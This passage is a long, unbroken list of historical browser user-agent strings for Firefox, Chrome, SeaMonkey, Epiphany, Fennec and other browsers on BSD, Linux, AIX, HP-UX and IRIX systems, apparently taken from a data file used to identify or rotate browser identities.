Firefox/30.0 Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 Mozilla/5.0 (X11; U; AIX 0043031B4C00; en-US; rv:1.2.1) Gecko/20021209 Mozilla/5.0 (X11; U; AIX 0048013C4C00; en-US; rv:1.0.1) Gecko/20021009 Netscape/7.0 Mozilla/5.0 (X11; U; AIX 005A471A4C00; en-US; rv:1.0rc2) Gecko/20020514 Mozilla/5.0 (X11; U; AIX 5.3; en-US; rv:1.7.12) Gecko/20051025 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.341 Safari/534.10 Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10 Mozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10 Mozilla/5.0 (X11; U; Darwin i386; en-US; rv:1.9.0.8) Gecko/2009040414 Firefox/3.0.8 Mozilla/5.0 (X11; U; Darwin i386; en-US; rv:1.9.0.8) Gecko/2009040414 GranParadiso/3.0.8 Mozilla/5.0 (X11; U; Darwin i386; en-US; rv:1.9.1.4) Gecko/20100311 Shiretoko/3.5.5 Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1 Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (X11; U; DragonFly i386; en-US; rv:1.8.1.12) Gecko/20080208 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Fedora 12 i686; nb-NO; rv:1.9.1.8) Gecko/20100205 SeaMonkey/2.0.3 Mozilla/5.0 (X11; U; Fedora i686; en-US; rv:1.9.1.19) Gecko/20110429 Fedora/2.0.14-1.fc14 SeaMonkey/2.0.14 Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.8.0.8) Gecko/20061116 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.8.1.21) Gecko/20090424 SeaMonkey/1.1.16 Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.0.3) Gecko/2008100320 Firefox/3.0.3 Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.0.6) Gecko/2009021403 Firefox/3.0.6 Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.0.7) Gecko/2009030919 Firefox/3.0.7 Mozilla/5.0 (X11; U; FreeBSD amd64; en-US; rv:1.9.2.13) Gecko/20110105 Firefox/3.6.13 Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0 Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.0 Mozilla/5.0 (X11; U; FreeBSD amd64; en; rv:1.9.0.8) Gecko/20090331 Firefox/3.0.8 Mozilla/5.0 (X11; U; FreeBSD amd64; en; rv:1.9.0.8) Gecko/2009033101 Firefox/3.0.8 Mozilla/5.0 (X11; U; FreeBSD amd64; fi; rv:1.9.0.5) Gecko/2008122918 Firefox/3.0.5 Mozilla/5.0 (X11; U; FreeBSD i386; cs; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.1) Gecko/20021223 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.2.1) Gecko/20030202 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051006 Firefox/1.0.7 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051105 Firefox/1.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051105 Galeon/1.3.21 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.12) Gecko/20051112 Firefox/1.0.7 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.13) Gecko/20061230 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20041114 Firefox/1.0 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20050420 Firefox/1.0.3 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.7) Gecko/20060303 Firefox/1.0.3 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050521 Firefox/1.0.4 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7b) Gecko/20040429 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20051205 Firefox/1.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20051209 Firefox/1.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20051217 Firefox/1.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20051219 Firefox/1.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060109 Firefox/1.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060122 Firefox/1.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.1) Gecko/20060317 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.1) Gecko/20060511 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.2) Gecko/20060414 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.6) Gecko/20060927 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.7) Gecko/20060919 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.7) Gecko/20061013 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.0.8) Gecko/20061210 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1) Gecko/20061110 Firefox/2.0 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1) Gecko/20061130 Firefox/2.0 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1) Gecko/20070322 Epiphany/2.18 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.10) Gecko/20071206 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.11) Gecko/20071228 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.11) Gecko/20080208 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.12) Gecko/20080229 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.14) Gecko/20080530 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.14) Gecko/20080621 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.16) Gecko/20080816 Firefox/2.0.0.16 Kazehakase/0.5.4 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.2) Gecko/20070303 SeaMonkey/1.1.1 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090225 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.20) Gecko/20090413 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.3) Gecko/20070405 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.4) Gecko/20070612 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8.1.6) Gecko/20070902 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.1) Gecko/2008081722 Firefox/3.0.1 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.6) Gecko/2009022401 Firefox/3.0.6 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.8) Gecko/2009040918 Firefox/3.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.8) Gecko/2009041318 Firefox/3.0.8 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1.16) Gecko/20110227 SeaMonkey/2.0.11 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2 Mozilla/5.0 (X11; U; FreeBSD i386; en; rv:1.8.1.12) Gecko/20080213 Epiphany/2.20 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; FreeBSD i386; fr-FR; rv:1.8.1.12) Gecko/20080303 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.7.2) Gecko/20050330 Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8 Mozilla/5.0 (X11; U; FreeBSD i386; pl; rv:1.8.1.12) Gecko/20080213 Epiphany/2.20 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 Mozilla/5.0 (X11; U; FreeBSD i386; rv:1.8.1.12) Gecko/0 Kazehakase/0.4.9 Mozilla/5.0 (X11; U; FreeBSD i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; FreeBSD sparc64; en_US rv:2.0) Gecko/2007121120 Firefox/3.0 Mozilla/5.0 (X11; U; FreeBSD sparc64; fr-FR; rv:1.8.1.6) Gecko/20071008 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko Mozilla/5.0 (X11; U; FreeBSD; i386; it-IT; rv:1.7) Gecko Mozilla/5.0 (X11; U; Gentoo Linux x86_64; nb-NO; rv:2.0b4) Gecko/20080728 Firefox/3.0.1 Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL) Gecko Firefox Mozilla/5.0 (X11; U; Gentoo Linux x86_64; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.0.0) Gecko/20020605 Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.2) Gecko/20021203 Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.3) Gecko/20030321 Mozilla/5.0 (X11; U; HP-UX 9000/785; es-ES; rv:1.0.1) Gecko/20020827 Netscape/7.0 Mozilla/5.0 (X11; U; IRIX 6.3 IP32) Gecko/20061010 Firefox/1.5 Mozilla/5.0 (X11; U; IRIX64 7.0 IP53; en-US; rv:1.9.2.13) Gecko/20110103 Firefox/3.6.13 Mozilla/5.0 (X11; U; IRIX64 IP30; en-US; rv:1.8) Gecko/20051206 Firefox/1.5 Mozilla/5.0 (X11; U; IRIX64 IP35; en-US; rv:1.4.3) Gecko/20040909 Mozilla/5.0 (X11; U; Intel Mac OS X; en-us) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01 Mozilla/5.0 (X11; U; Linux 2.6.34.1-SquidSheep; en-US; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) Mozilla/5.0 (X11; U; Linux AMD64; en-US; rv:1.9.2.3) Gecko/20100403 Ubuntu/10.10 (maverick) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux Gentoo i686; pl; rv:1.8.0.8) Gecko/20061219 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux Gentoo; pl-PL; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux MIPS32 1074Kf CPS QuadCore; en-US; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux amd64) Iron/20.0.1150.1 Chrome/20.0.1150.1 Safari/536.11 Mozilla/5.0 (X11; U; Linux amd64) Iron/21.0.1200.0 Chrome/21.0.1200.0 Safari/537.1 Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0 Mozilla/5.0 (X11; U; Linux amd64; rv:5.0) Gecko/20100101 Firefox/5.0 (Debian) Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025 Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.8) Gecko/20071018 Minimo/0.024 Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1 Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081116 Fennec/1.0a2pre Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1a1pre) Gecko/2008071707 Fennec/0.5 Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1a2pre) Gecko/20080820121708 Fennec/0.7 Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1b1pre) Gecko/20080923171103 Fennec/0.8 Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1b1pre) Gecko/20081005220218 Gecko/2008052201 Fennec/0.9pre Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1 Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.1b2pre) Gecko/20081116 Fennec/1.0a2pre Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9.2a1pre) Gecko/20081222 Fennec/1.0a2 Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020 Mozilla/5.0 (X11; U; Linux armv6l; rv: 1.8.1.5pre) Gecko/20070619 Minimo/0.020 Mozilla/5.0 (X11; U; Linux armv6l; sv-se) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori Mozilla/5.0 (X11; U; Linux armv7l like Android; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/533.2+ Kindle/3.0+ Mozilla/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.6.11 Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.0.1) Gecko/2009010915 Minefield/3.0.1 Mozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2.13) Gecko/20101218 Firefox/3.6.13 MB860/Version.4.0.2210.MB860.ATT.en.US Mozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2.13) Gecko/20110209 Firefox/3.6.13 / Mozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2.14) Gecko/20110224 Firefox/3.6.14 MB860/Version.0.43.3.MB860.AmericaMovil.en.MX Mozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2a1pre) Gecko/20090322 Fennec/1.0b2pre Mozilla/5.0 (X11; U; Linux armv7l; no-NO; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.5 Maemo Browser 1.7.4.8 RX-51 N900 Mozilla/5.0 (X11; U; Linux armv7l; pl-PL; rv:1.9.2.5) Gecko/20100614 Firefox/3.6.5pre Fennec/1.1 Mozilla/5.0 (X11; U; Linux armv7l; pt-PT; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.5 Maemo Browser 1.7.4.8 RX-51 N900 Mozilla/5.0 (X11; U; Linux armv7l; ru-RU; rv:1.9.2.3pre) Gecko/20100723 Firefox/3.5 Maemo Browser 1.7.4.8 RX-51 N900 Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (X11; U; Linux i386; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i586; de-AT; rv:1.4) Gecko/20030908 Debian/1.4-4 Mozilla/5.0 (X11; U; Linux i586; de; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (X11; U; Linux i586; en-NZ; rv:1.8.1.6) Gecko/20071221 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 Mozilla/5.0 (X11; U; Linux i586; en-US) Gecko/20030908 Epiphany/0.9.2 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.9) Gecko/20020513 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.0rc3) Gecko/20020523 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.2) Gecko/20050223 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.2.1) Gecko/20021204 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.2b) Gecko/20021016 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.3) Gecko/20030312 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.6) Gecko/20040413 Epiphany/1.2.6 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu) Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.8.0.11) Gecko/20070217 Iceape/1.0.8 (Debian-1.0.8-4) Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.8.1.2) Gecko/20070227 SeaMonkey/1.1.1 Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3 Mozilla/5.0 (X11; U; Linux i586; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori Mozilla/5.0 (X11; U; Linux i586; es-ES; rv:1.7.10) Gecko/20070116 Firefox/1.0.4 (Debian package 1.0.4-2sarge15) Mozilla/5.0 (X11; U; Linux i586; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (X11; U; Linux i586; nl-NL; rv:1.8.1.6) Gecko/20071001 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de-DE; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1) Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.3 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.5 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.16) Gecko/20120714 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.5 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.9.1.3) Gecko/20091010 Iceweasel/3.5.3 (Debian-3.5.3-2) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.10) Gecko/20050715 Firefox/1.0.6 SUSE/1.0.6-16 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.12) Gecko/20050920 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.12) Gecko/20050920 Firefox/1.0.7 SUSE/1.0.7-0.1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.12) Gecko/20051007 Galeon/1.3.21 (Debian package 1.3.21-8) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.7.13) Gecko/20060417 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20080326 CentOS/1.5.0.12-14.el5.centos Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.5) Gecko/20060726 Red Hat/1.5.0.5-0.el4.1 Firefox/1.5.0.5 pango-text Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-1.5 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1) Gecko/20061027 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.1) Gecko/20070131 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.1 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080109 (Charlotte/0.9t; http://www.searchme.com/support/) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080109 (Charlotte/0.9t; http://www.searchme.com/support/) (Charlotte/0.9t; http://www.searchme.com/support/) Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.11) Gecko/20080126 Firefox/2.0.0.11 Flock/1.0.8 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0 MEGAUPLOAD 1.0 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.12pre) Gecko/20080103 BonEcho/2.0.0.12pre Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.16) Gecko/20080716 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 